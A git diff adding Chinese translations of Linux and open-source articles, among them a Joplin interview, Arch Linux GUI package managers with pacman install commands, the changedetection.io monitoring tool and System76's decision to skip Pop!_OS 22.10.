+默认情况下,它使用你的系统语言作为语音的检测语言,同时将其转换为文本;但是,你可以根据可用的语言列表将其更改为所需的任何语言。到目前为止,谷歌文档支持和识别超过 60 多种语言,同时将它们转换为文本。 + +#### 步骤 4 + +单击允许后,麦克风图标将变为橙色,现在它已准备好接受或识别你的声音。开始说任何你想说的话,瞧!你将看到你的演讲被转换为文本并写入文档。 + +![正在进行语音转文字][8] + +完成了。你已通过谷歌 Chrome 和谷歌文档在 Ubuntu 中成功地将语音转换为文本。 + +所有 Linux 用户都可以免费使用这个很棒的功能。如果你知道其他可以在 Linux 中将语音转换为文本的应用,请在下方的评论区发表评论。另外,让我知道你是否觉得这篇文章有用。 + +### 故障排除 + +如果上述功能在你的浏览器中不起作用,请务必查看以下内容。 + +* 打开设置窗口(在 Ubuntu 或其他发行版的 GNOME 桌面中)。 +* 转到“隐私 > 麦克风”。 +* 并确保它已启用。 + +![检查 Ubuntu 中的麦克风设置][9] + +### 总结 + +虽然,最近有一种基于云的解决方案可用,例如 Amazon Polly 等。但它们的价格很高。另外还需要一些有用的知识。 + +而谷歌 Chrome 的内置语音识别功能简单易用。虽然它有点慢,但它可以为普通用户完成工作。 + +也就是说,我希望本指南可以帮助你将语音转换为文本,如果你知道这样的免费应用,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/speech-recognition-to-text-in-linux-ubuntu-using-google-docs/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.google.com/chrome +[2]: https://accounts.google.com +[3]: https://docs.google.com +[4]: https://www.debugpoint.com/wp-content/uploads/2018/07/Create-an-empty-doc.png +[5]: https://www.debugpoint.com/wp-content/uploads/2018/07/Enable-Voice-Typing.png +[6]: https://www.debugpoint.com/wp-content/uploads/2018/07/Click-the-mic.png +[7]: https://www.debugpoint.com/wp-content/uploads/2018/07/Allow-Docs-to-access-Mic.png +[8]: https://www.debugpoint.com/wp-content/uploads/2018/07/Voice-to-Text-In-action.png +[9]: https://www.debugpoint.com/wp-content/uploads/2018/07/Check-Microphone-settings-in-Ubuntu.jpg diff --git a/published/202210/20220926 The story behind Joplin, the open source note-taking app.md b/published/202210/20220926 The story behind Joplin, the open source note-taking app.md new file mode 100644 index 0000000000..ac3c6e5bf3 --- /dev/null +++ b/published/202210/20220926 The story behind Joplin, the open source note-taking app.md @@ -0,0 +1,141 @@ +[#]: subject: "The story behind Joplin, the open source note-taking app" +[#]: via: "https://opensource.com/article/22/9/joplin-interview" +[#]: author: "Richard Chambers https://opensource.com/users/20i" +[#]: collector: "lkxed" +[#]: translator: "MareDevi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15161-1.html" + +开源笔记软件 Joplin 背后的故事 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/21/112935tfapsvpac06h2sth.jpg) + +> Laurent Cozic 与我坐下来,讨论了 Joplin 是如何开始的,以及这个开源笔记软件的下一步计划。 + +在这次采访中,我见到了笔记软件 Joplin 的创建者 Laurent Cozic。[Joplin][2] 是 [20i][3] 奖励的赢家,所以我想了解是什么让它如此成功,以及他如何实现的。 + +### 你能概述一下什么是 Joplin 吗? + +[Joplin][4] 是一个开源的笔记软件。它可以让你捕获你的想法并从任何设备安全地访问它们。 + +### 显然,还有很多其他的笔记应用,那么除了免费使用之外,它还有什么不同呢? + +对我们的许多用户来说,它是开源的这一事实是一个非常重要的方面,因为这意味着没有供应商对数据的封锁,而且数据可以很容易地被导出并以各种方式访问。 + +我们还关注用户的安全和数据隐私,特别是端到端加密同步功能,以及通过对应用的任何连接保持透明。我们还与安全研究人员合作,以保证软件更加安全。 + +最后,Joplin 可以通过几种不同的方式进行定制 —— 通过插件(可以添加新的功能)和主题来定制应用程序的外观。我们还公开了一个数据 API,它允许第三方应用程序访问 Joplin 的数据。 + +> **[相关阅读:5 款 Linux 上的笔记应用][5]** + +### 这是一个竞争非常激烈的市场,那么是什么激发了你创建它的想法? + +这是有原因的的。我从 2016 年开始研究它,因为我不喜欢现有的商业记事应用程序:笔记、附件或标签不能轻易被其他工具导出或操作。 + +这主要是由于供应商的封锁,另外还有供应商缺乏动力,因为他们没有动力帮助用户将他们的数据转移到其他应用程序。还有一个问题是,这些公司通常会以纯文本形式保存笔记,而这有可能造成数据隐私和安全方面的问题。 + +因此,我决定开始创建一个简单且具有同步功能的移动和终端应用程序,使我的笔记能够轻松地在我的设备上访问。之后又创建了桌面应用程序,项目从此开始发展。 + +![Chrome OS 上 Joplin 的图片][6] + +### 编写 Joplin 花了多长时间呢? + +自 2016 年以来,我一直在断断续续地开发,但并不是专门去维护。不过在过去的两年里,我更加专注于它。 + +### 对于准备创建自己的开源应用的人,你有什么建议? + +挑选一个你自己使用的项目和你喜欢的技术来工作。 + +管理一个开源项目有时是很困难的,所以必须要有足够的兴趣去让它变得更有价值。那么我想 “早发布,多发布” 原则在这里也适用,这样你就可以衡量用户的兴趣,以及是否有必要花时间进一步开发这个项目。 + +### 有多少人参与了 Joplin 的开发? + +有 3、4 人参与开发。目前,我们还有 6 名学生在 谷歌编程之夏Google Summer of Code 中为这个项目工作。 + +### 许多人都在创建开源项目,但 Joplin 对你来说是一个巨大的成功。关于如何获得关注,你能否给开发者提供一些建议? + +没有简单的公式,说实话,我不认为我可以在另一个项目中复制这种成功!你必须对你所做的事情充满热情,但同时也要严谨、有组织、稳步前进,确保代码质量保持高水平,并拥有大量的测试单元以防止回归。 + +同时,对于你收到的用户反馈保持开放的态度,并在此基础上改进项目。 + +一旦你掌握了这些,剩下的可能就全靠运气了 —— 如果你做的项目让很多人都感兴趣,事情可能会顺利进行! + +### 一旦你得到关注,但如果你没有传统的营销预算,你如何保持这种势头? + +我认为这在于倾听项目周围的社区。举个例子来说,我从未计划过建立一个论坛,但有人在 GitHub 上提出了这个建议,所以我创建了一个论坛,它成为了一个分享想法、讨论功能、提供支持等很好的方式。社区也普遍欢迎新人,这形成了一种良性循环。 + +除此以外,定期就项目进行沟通也很重要。 + +我们没有一个公开的路线图,因为大多数功能的 ETA 通常是 “我不知道”,但我会试图就即将到来的功能、新版本等进行沟通。我们也会就重要的事件进行沟通,特别是谷歌编程之夏,或者当我们有机会赢得像 20i FOSS 奖的时候。 + +最后,我们很快将在伦敦举行一次面对面的聚会,这是与社区和合作者保持联系的另一种方式。 + +### 用户的反馈是如何影响路线图的? + +很明显,贡献者们经常仅仅因为他们需要某个特性而从事某些工作。但除此之外,我们还根据论坛和 GitHub 问题追踪器上的信息,追踪对用户来说似乎最重要的功能。 + +例如,移动应用程序现在具有很高的优先级,因为我们经常从用户那里听到,它的限制和缺陷是有效使用 Joplin 的一个问题。 + +![桌面使用Joplin的图片][8] + +### 你是如何跟上最新的开发和编码的发展的? + +主要是通过阅读 Hacker News! + +### 你有个人最喜欢的自由/开源软件可以推荐吗? + +在不太知名的项目中,[SpeedCrunch][9] 作为一个计算器非常好。它有很多功能,而且很好的是它能保留以前所有计算的历史。 + +我还使用 [KeepassXC][10] 作为密码管理器。在过去的几年里,它一直在稳步改进。 + +最后,[Visual Studio Code][11] 作为一个跨平台的文本编辑器非常棒。 + +### 我原以为 Joplin 是以 Janis 的名字命名的,但维基百科告诉我来自是 Scoot Joplin。你为什么选择这个名字? + +我起初想把它命名为 “jot-it”,但我想这个名字已经被人占了。 + +由于我那时经常听 Scoot Joplin 的 拉格泰姆ragtime音乐(我相当痴迷于此),我决定使用他的名字。 + +我认为产品名称的含义并不太重要,只要名称本身易于书写、发音、记忆,并与一些积极的东西(或至少没有消极的东西)有关。 + +我觉得 “Joplin” 符合所有条件。 + +### 关于 Joplin 的计划,你还有什么可以说的吗?也许是对一个新功能的独家预告? + +如前所述,我们非常希望在用户体验设计和新功能方面对移动应用进行改进。 + +我们也在考虑创建一个 “插件商店”,以便更容易地浏览和安装插件。 + +感谢 Laurent — 祝 Joplin 的未来好运。 + +*图片来自: (Opensource.com, CC BY-SA 4.0)* + +*[这篇访谈最初发表在 20i 博客上,已获得许可进行转载。][12]* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/joplin-interview + +作者:[Richard Chambers][a] +选题:[lkxed][b] +译者:[MareDevi](https://github.com/MareDevi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/20i +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/wfh_work_home_laptop_work.png +[2]: https://joplinapp.org/ +[3]: https://www.20i.com/foss-awards/winners +[4]: https://opensource.com/article/19/1/productivity-tool-joplin +[5]: https://opensource.com/article/22/8/note-taking-apps-linux +[6]: https://opensource.com/sites/default/files/2022-09/joplin-chrome-os.png +[7]: https://opensource.com/article/21/10/google-summer-code +[8]: https://opensource.com/sites/default/files/2022-09/joplin-desktop.png +[9]: https://heldercorreia.bitbucket.io/speedcrunch/ +[10]: https://opensource.com/article/18/12/keepassx-security-best-practices +[11]: https://opensource.com/article/20/6/open-source-alternatives-vs-code +[12]: https://www.20i.com/blog/joplin-creator-laurent-cozic/ diff --git a/published/202210/20220927 Attacks On Open Source Software Are On The Rise.md b/published/202210/20220927 Attacks On Open Source Software Are On The Rise.md new file mode 100644 index 0000000000..0a5ba78c29 --- /dev/null +++ b/published/202210/20220927 Attacks On Open Source Software Are On The Rise.md @@ -0,0 +1,39 @@ +[#]: subject: "Attacks On Open Source Software Are On The Rise" +[#]: via: "https://www.opensourceforu.com/2022/09/attacks-on-open-source-software-are-on-the-rise/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "vvvbbbcz" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15095-1.html" + +对开源软件的攻击呈上升趋势 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/02/112659l5iaoi9ij0bji5ji.jpg) + +> 对开源仓库的攻击越来越频繁了。 + +根据近日的研究,由于越来越多的企业使用开源代码仓库来开发他们的软件及解决方案,网络犯罪分子正在借此获利。根据软件供应链管理服务提供商 Sonatype 最近所做的研究,在最近三年里,受感染的软件包、以及对这些软件平台的仿冒攻击typosquatting assaults和类似的黑客攻击的频率大幅增加。 + +该企业在过去三年中发现了大约 95000 个有害软件包,以及超过 55000 个最近才使用他们的存储库防火墙公布出来的危险软件包。届时,这个数字在三年内平均增长了 700%。 + +该企业称,他们的存储库防火墙将通过融合行为分析和自动策略执行的方式,不断发现并阻止有害软件包及潜在的易受攻击的组件。此外,它还使用了人工智能对每个新发布的开源软件进行评估,看它是否会带来一些安全风险。而且该企业断言,由于开源代码的迅速增加,人工分析已变得几乎不可能。 + +然而,这与企业是否在它的最终产品中包含受感染的恶意组件无关。该公司声称,如果那些恶意组件已经被下载到他们的端点上,就已经太晚了。 + +“恶意网络攻击的数量、频率、严重性和复杂性还在增长。但企业不能,也不应该仅为保护自身而避免使用开源代码。” Fox 补充说:“但他们可以使用预防性的工具,例如 Sonatype 防火墙来保证开发人员的工作进度和软件供应链的安全。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/attacks-on-open-source-software-are-on-the-rise/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[自由的铁矿](https://github.com/vvvbbbcz) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202210/20220927 GUI Apps for Package Management in Arch Linux.md b/published/202210/20220927 GUI Apps for Package Management in Arch Linux.md new file mode 100644 index 0000000000..6c226d7d88 --- /dev/null +++ b/published/202210/20220927 GUI Apps for Package Management in Arch Linux.md @@ -0,0 +1,206 @@ +[#]: subject: "GUI Apps for Package Management in Arch Linux" +[#]: via: "https://itsfoss.com/arch-linux-gui-package-managers/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15149-1.html" + +Arch Linux 中用于包管理的图形化应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/17/110440isl629s0uqnl8b29.jpg) + +[安装 Arch Linux][1] 有一些挑战性。这就是为什么 [有几个基于 Arch 的发行版][2] 通过提供图形化的安装程序使事情变得简单。 + +即使你设法安装了 Arch Linux,你也会注意到它严重依赖命令行。如果你需要安装应用或更新系统,那么必须打开终端。 + +是的!Arch Linux 没有软件中心。我知道,这让很多人感到震惊。 + +如果你对使用命令行管理应用感到不舒服,你可以安装一个 GUI 工具。这有助于在舒适的图形化界面中搜索包以及安装和删除它们。 + +想知道你应该使用 [pacman 命令][3] 的哪个图形前端?我有一些建议可以帮助你。 + +**请注意,某些软件管理器是特定于桌面环境的。** + +### 1、Apper + +![使用 Apper 安装 Firefox][4] + +Apper 是一个精简的 Qt5 应用,它使用 PackageKit 进行包管理,它还支持 AppStream 和自动更新。但是,**没有 AUR 支持**。 + +要从官方仓库安装它,请使用以下命令: + +``` +sudo pacman -Syu apper +``` + +> **[GitLab 上的 Apper][5]** + +### 2、深度应用商店 + +![使用深度应用商店安装 Firefox][6] + +深度应用商店是使用 DTK(QT5)构建的深度桌面环境的应用商店,它使用 PackageKit 进行包管理,支持 AppStream,同时提供系统更新通知。 **没有 AUR 支持**。 + +要安装它,请使用以下命令: + +``` +sudo pacman -Syu deepin-store +``` + +> **[Github 上的深度商店][7]** + +### 3、KDE 发现应用 + +![使用 Discover 安装 Firefox][8] + +发现Discover 应用不需要为 KDE Plasma 用户介绍。它是一个使用 PackageKit 的基于 Qt 的应用管理器,支持 AppStream、Flatpak 和固件更新。 + +要在发现应用中安装 Flatpak 和固件更新,需要分别安装 `flatpak` 和 `fwupd` 包。**它没有 AUR 支持。** + +``` +sudo pacman -Syu discover packagekit-qt5 +``` + +> **[GitLab 上的 Discover][9]** + +### 4、GNOME PackageKit + +![Installing Firefox using GNOME PackageKit][10] + +GNOME PackageKit 是一个使用 PackageKit 技术的 GTK3 包管理器,支持 AppStream。不幸的是,**没有 AUR 支持**。 + +要从官方仓库安装它,请使用以下命令: + +``` +sudo pacman -Syu gnome-packagekit +``` + +> **[freedesktop 上的 PackageKit][11]** + +### 5、GNOME 软件应用 + +![Installing Firefox using GNOME Software][12] + +GNOME 软件Software 应用不需要向 GNOME 桌面用户介绍。它是使用 PackageKit 技术的 GTK4 应用管理器,支持 AppStream、Flatpak 和固件更新。 + +**它没有 AUR 支持。** 要安装来自 GNOME 软件应用的 Flatpak 和固件更新,需要分别安装 `flatpak` 和 `fwupd` 包。 + +安装它使用: + +``` +sudo pacman -Syu gnome-software-packagekit-plugin gnome-software +``` + +> **[GitLab 上的 GNOME 软件][13]** + +### 6、tkPacman + +![使用 tkPacman 安装 Firefox][14] + +它是用 Tcl 编写的 Tk pacman 封装。界面类似于 [Synaptic 包管理器][15]。 + +由于没有 GTK/Qt 依赖,它非常轻量级,因为它使用 Tcl/Tk GUI 工具包。 + +**它不支持 AUR**,这很讽刺,因为你需要从 [AUR][16] 安装它。你需要事先安装一个 [AUR 助手][17],如 yay。 + +``` +yay -Syu tkpacman +``` + +> **[Sourceforge 上的 tkPacman][18]** + +### 7、Octopi + +![使用 Octopi 安装 Firefox][19] + +可以认为它是 tkPacman 的更好看的表亲。它使用 Qt5 和 Alpm,还支持 Appstream 和 **AUR(通过 yay)**。 + +你还可以获得桌面通知、仓库编辑器和缓存清理器。它的界面类似于 Synaptic 包管理器。 + +要从 AUR 安装它,请使用以下命令。 + +``` +yay -Syu octopi +``` + +> **[GitHub 上的 Octopi][20]** + +### 8、Pamac + +![使用 Pamac 安装 Firefox][21] + +Pamac 是 Manjaro Linux 的图形包管理器。它基于 GTK3 和 Alpm,**支持 AUR、Appstream、Flatpak 和 Snap**。 + +Pamac 还支持自动下载更新和降级软件包。 + +它是 Arch Linux 衍生版中使用最广泛的应用。但因为 [DDoS AUR 网页][22] 而臭名昭著。 + +[在 Arch Linux 上安装 Pamac][23] 有几种方法。最简单的方法是使用 AUR 助手。 + +``` +yay -Syu pamac-aur +``` + +> **[GitLab 上的 Pamac][24]** + +### 总结 + +要删除任何上面图形化包管理器以及依赖项和配置文件,请使用以下命令将 `packagename` 替换为要删除的包的名称。 + +``` +sudo pacman -Rns packagename +``` + +这样看来,Arch Linux 也可以在不接触终端的情况下使用合适的工具。 + +还有一些其他应用程序也使用终端用户界面(TUI)。一些例子是 [pcurses][25]、[cylon][26]、[pacseek][27] 和 [yup][28]。但是,这篇文章只讨论那些有适当的 GUI 的软件。 + +**注意:** PackageKit 默认打开系统权限,因而 [不推荐][29] 用于一般用途。因为如果用户属于 `wheel` 组,更新或安装任何软件都不需要密码。 + +**你看到了在 Arch Linux 上使用图形化软件中心的几种选择。现在是时候决定使用其中一个了。你会选择哪一个?Pamac 或 OctoPi 还是其他?现在就在下面留言吧**。 + +--- + +via: https://itsfoss.com/arch-linux-gui-package-managers/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-arch-linux/ +[2]: https://itsfoss.com/arch-based-linux-distros/ +[3]: https://itsfoss.com/pacman-command/ +[4]: https://itsfoss.com/wp-content/uploads/2022/09/apper-arch-install-firefox.png +[5]: https://invent.kde.org/system/apper +[6]: https://itsfoss.com/wp-content/uploads/2022/09/dde-arch-install-firefox.png +[7]: https://github.com/dekzi/dde-store +[8]: https://itsfoss.com/wp-content/uploads/2022/09/discover-arch-install-firefox.png +[9]: https://invent.kde.org/plasma/discover +[10]: https://itsfoss.com/wp-content/uploads/2022/09/gnome-packagekit-arch-install-firefox.png +[11]: https://freedesktop.org/software/PackageKit/index.html +[12]: https://itsfoss.com/wp-content/uploads/2022/09/gnome-software-arch-install-firefox.png +[13]: https://gitlab.gnome.org/GNOME/gnome-software +[14]: https://itsfoss.com/wp-content/uploads/2022/09/tkpacman-arch-install-firefox.png +[15]: https://itsfoss.com/synaptic-package-manager/ +[16]: https://itsfoss.com/aur-arch-linux/ +[17]: https://itsfoss.com/best-aur-helpers/ +[18]: https://sourceforge.net/projects/tkpacman +[19]: https://itsfoss.com/wp-content/uploads/2022/09/octopi-arch-install-firefox.png +[20]: https://github.com/aarnt/octopi +[21]: https://itsfoss.com/wp-content/uploads/2022/09/pamac-arch-install-firefox.png +[22]: https://gitlab.manjaro.org/applications/pamac/-/issues/1017 +[23]: https://itsfoss.com/install-pamac-arch-linux/ +[24]: https://gitlab.manjaro.org/applications/pamac +[25]: https://github.com/schuay/pcurses +[26]: https://github.com/gavinlyonsrepo/cylon +[27]: https://github.com/moson-mo/pacseek +[28]: https://github.com/ericm/yup +[29]: https://bugs.archlinux.org/task/50459 diff --git a/published/202210/20220927 Get change alerts from any website with this open source tool.md b/published/202210/20220927 Get change alerts from any website with this open source tool.md new file mode 100644 index 0000000000..8e75c1d2f9 --- /dev/null +++ b/published/202210/20220927 Get change alerts from any website with this open source tool.md @@ -0,0 +1,103 @@ +[#]: subject: "Get change alerts from any website with this open source tool" +[#]: via: "https://opensource.com/article/22/9/changedetection-io-open-source-website-changes" +[#]: author: "Leigh Morresi https://opensource.com/users/dgtlmoon" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15129-1.html" + +用这个开源工具从任何网站获取变化提醒 +====== + +> 使用 changedetection.io 在网站发生变化或更新时获得提醒。 + +![](https://img.linux.net.cn/data/attachment/album/202210/11/153605ikpi81s1mz8wak2z.jpg) + +那一年是 2020 年,关于大流行病的消息迅速涌来,每个人都感到完全被类似的新闻文章所淹没,提供了不同程度的更新。 + +但我需要知道的是,我们的官方准则何时改变。最后,这就是对我来说最重要的事情。 + +无论关注的是大流行病还是最新的科技新闻,提前了解网站内容的变化都至关重要。 + +[changedetection.io][2] 项目为网站变更检测和通知提供了一个简单但强大的开源解决方案。它很容易设置,而且可以通知 70 多个(还在不断增加)不同的通知系统,如 Matrix、Mattermost、[Nextcloud][3]、[Signal][4]、[Zulip][5]、[Home Assistant][6]、电子邮件等等。它还能通知专有应用,如 Discord、Office365、Reddit、Telegram 和许多其他应用。 + +但 [changedetection.io][7] 并不只是局限于观察网页内容。你也可以监视 XML 和 JSON 源,它将建立一个 RSS 馈送,记录变化的网站。 + +由于其内置的 JSON 简单存储系统,不需要设置复杂的数据库来接收和存储信息。你可以 [使用 Docker 镜像运行][8] 或用 `pip` 安装它。该项目有一个 [全面的维基帮助页][9],大多数常见的问题都有涵盖。 + +对于使用复杂 JavaScript 的网站,你可以用内置的 [Playwright 内容获取器][10] 将你的 changedetection.io 连接到 Chromium 或 Chrome 浏览器。 + +运行后,在你的浏览器(默认情况下是 `http://localhost:5000`)中访问该应用。如果你的电脑可以从外部网络访问,你可以在 设置Settings中设置一个密码。 + +![change detection watch list][11] + +提交你想监控的页面的 URL。有几个与如何过滤该网页有关的设置。例如,你很可能不想知道一家公司在其网站页脚列出的股票价格何时发生变化,但你可能想知道他们在其博客上发布的新闻文章。 + +### 监控一个网站 + +想象一下,你想添加你最喜欢的网站 Opensource.com 进行监控。你只想知道主要标注文章何时包含 “python” 一词,并且通过 Matrix 收到通知。 + +要做到这点,首先要使用“视觉选择器Visual Filter Selector”工具。(这需要连接 **playwright** 浏览器界面)。 + +![Find an element to monitor][12] + +该工具会自动计算出针对内容的最佳 Xpath 或 CSS 过滤器。否则,你会从每天的页面更新中得到大量的噪音。 + +接下来,访问“过滤器和触发器Filters & Triggers”标签。 + +![Filters and triggers][13] + +在 “CSS/JSON/XPATH 过滤器CSS/JSON/XPATH Filter”区域(蓝色圆圈),你可以看到上一步自动生成的 CSS 过滤器。 + +有几个有用的过滤器,比如“移除元素Remove elements”(适合移除嘈杂的元素)、“忽略文本Ignore text”、“触发/等待文本Trigger/wait for text”,和“如果文本匹配则阻止变化检测Block change-detection if text matches”(用于等待一些文本消失,如“售罄”)。 + +在“触发/等待文本Trigger/wait for text”(红色圆圈)中,输入你想监测的关键词。(在这个例子中是 “python”)。 + +最后一步是在“通知Notifications”选项卡中,你要在那里配置你想收到的通知。下面我使用 Matrix API 添加了一个 Matrix 房间作为通知目标。 + +![Notifications tab][14] + +通知的 URL 的格式是 `matrixs://username:password@matrix.org/#/room/#room-name:matrix.org`。 + +然而,[t2Bot][15] 格式也支持。这里有更多的 [Matrix 通知选项][16]。 + +就是这些了! 现在只要内容有变化,你就会通过 Matrix 收到信息。 + +### 还有更多 + +changedetection.io 还有很多东西。如果你喜欢调用一个自定义的 JSON API,你不需要使用通知的 API(使用 `jsons://` )。你还可以创建一个自定义的 HTTP 请求(POST 和 GET),在检查前执行 JavaScript(也许是为了预先填充一个用户名和密码的登录字段),以及更多有趣的功能,更多的功能将陆续推出。 + +不要再浏览网站,而是开始监测网络吧! + +*图片提供:(Leigh Morresi, CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/changedetection-io-open-source-website-changes + +作者:[Leigh Morresi][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dgtlmoon +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/browser_desktop_website_checklist_metrics.png +[2]: https://github.com/dgtlmoon/changedetection.io +[3]: https://opensource.com/tags/nextcloud +[4]: https://opensource.com/article/19/10/secure-private-messaging +[5]: https://opensource.com/article/22/3/open-source-chat-zulip +[6]: https://opensource.com/article/20/11/home-assistant +[7]: https://github.com/dgtlmoon/changedetection.io +[8]: https://github.com/dgtlmoon/changedetection.io#docker +[9]: https://github.com/dgtlmoon/changedetection.io/wiki +[10]: https://github.com/dgtlmoon/changedetection.io/wiki/Playwright-content-fetcher +[11]: https://opensource.com/sites/default/files/2022-09/screenshot.png +[12]: https://opensource.com/sites/default/files/2022-09/changedetect-osdc.png +[13]: https://opensource.com/sites/default/files/2022-09/changedetect-filters-triggers.webp +[14]: https://opensource.com/sites/default/files/2022-09/step3-notification-matrix.png +[15]: https://t2bot.io/ +[16]: https://github.com/caronc/apprise/wiki/Notify_matrix diff --git a/published/202210/20220927 System76 Won-t Release Pop!_OS 22.10 Linux Distro- Here-s Why!.md b/published/202210/20220927 System76 Won-t Release Pop!_OS 22.10 Linux Distro- Here-s Why!.md new file mode 100644 index 0000000000..5896916d0a --- /dev/null +++ b/published/202210/20220927 System76 Won-t Release Pop!_OS 22.10 Linux Distro- Here-s Why!.md @@ -0,0 +1,97 @@ +[#]: subject: "System76 Won't Release Pop!_OS 22.10 Linux Distro: Here's Why!" +[#]: via: "https://news.itsfoss.com/no-pop-os-21-10/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15116-1.html" + +System 76 将不会发布 Pop!_OS 22.10 Linux 发行版 +====== + +> Pop!_OS 22.10 将不会发布。所以,你将无法使用 GNOME 43…… 这里是原因。 + +![System 76 将不会发布 Pop!_OS 22.10 Linux 发行版:这就是为什么!][1] + +Pop!_OS 是一个基于 Ubuntu 的 Linux 发行版,它提供了一个精心设计的用户体验以及强大的软件套件。 + +考虑到它带来的最新技术和桌面环境带来的有用的调整,Pop!_OS 发行版通常值得等待。 + +但是,你将无法获得 Pop!_OS 22.10 发行版。 + +[System76][2] 希望专注于开发其自己的基于 Rust 的 COSMIC 桌面环境,并在未来的版本中放弃 GNOME。😲 + +**如果你不知道的话**,这是我们对 Pop!_OS 的 COSMIC 桌面环境的旧报道,以供说明: + +![][4a] + +> **[哦,哇哦!Pop!_OS Linux 开发人员正在创建一个基于 Rust 的新桌面环境][4]** + +### Pop!_OS 22.10 发行版将不会发布 + +一般在 Ubuntu 发布新的 LTS 和非 LTS 版本之后,Pop!_OS 发行版就会发布。 + +没有 Pop!_OS 22.10,一些用户可能会失望,因为他们无法在 Pop!_OS 上体验 GNOME 43。 + +感谢 [OMG!Ubuntu!][5] 发现了 Pop!_OS 开发人员 **Michael Murphy** 的这个 [Reddit 评论][6]。 + +Michael 提到: + +> 我们将会把开发时间集中到 COSMIC 的 Rust 实现上,而不是 22.10。支持多个 Ubuntu 版本需要很大的努力,而 6 个月的发布周期真的会吃掉开发时间和产品的稳定性。 + +👏 我相信这是一个很好的决定。去年,当他们宣布了基于 Rust 从头开始构建桌面环境的计划时,我总是想知道他们如何做到的。 + +从头开始做一件事并达到用户的期望是一项艰巨的任务,这些用户已经在基于 GNOME 的 Pop!_OS 上拥有了很好的体验。 + +### COSMIC 桌面环境 + +![pop os cosmic 桌面环境早期构建][9] + +看到 COSMIC 桌面环境的更多发展会很有趣。上次我们尝试它(或看到演示)时,用户会对它感到兴奋,即使它们只是刚刚开始。 + +从技术上讲,它自 2021 年以来就一直在开发中,2023 年的 Pop!_OS 发行版将会带来它。 + +它使用 [Rust][10] 编程语言编写,遵循 freedesktop [互操作性规范][11],并完全移除了对 GNOME 和其 shell 扩展的依赖。 + +我们曾经介绍过 COSMIC 桌面环境的早期预览构建,你可以在这里查看: + +![][12a] + +> **[我尝试了 System76 新的基于 Rust 的 COSMIC 桌面!][12]** + +### 为什么这是件好事? + +Pop!_OS 的 LTS 版本已经收到了比 Ubuntu 更多的包更新和内核升级,所以你不必担心没有发布 22.10 版本。 + +相反,我们应该期待 Pop!_OS 的下一个主要升级,那时他们会正式介绍 Rust-COSMIC 桌面环境。 + +*💬 你对这个决定怎么看?你对未来的 Pop!_OS 发行版有什么期待吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/no-pop-os-21-10/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/no-pop-os-22-10-release.png +[2]: https://system76.com/ +[3]: https://news.itsfoss.com/pop-os-cosmic-rust/ +[4]: https://news.itsfoss.com/pop-os-cosmic-rust/ +[4a]: https://news.itsfoss.com/content/images/wordpress/2021/11/pop-os-cosmic-rust.png +[5]: https://www.omgubuntu.co.uk/2022/09/excited-for-pop_os-22-10-dont-be +[6]: https://www.reddit.com/r/pop_os/comments/xifwt6/comment/ip3l425/ +[7]: http://proton.go2cloud.org/aff_c?offer_id=15&aff_id=1173 +[8]: http://proton.go2cloud.org/aff_c?offer_id=15&aff_id=1173 +[9]: https://news.itsfoss.com/content/images/2022/09/pop_os_cosmic_early_build.png +[10]: https://www.rust-lang.org/ +[11]: 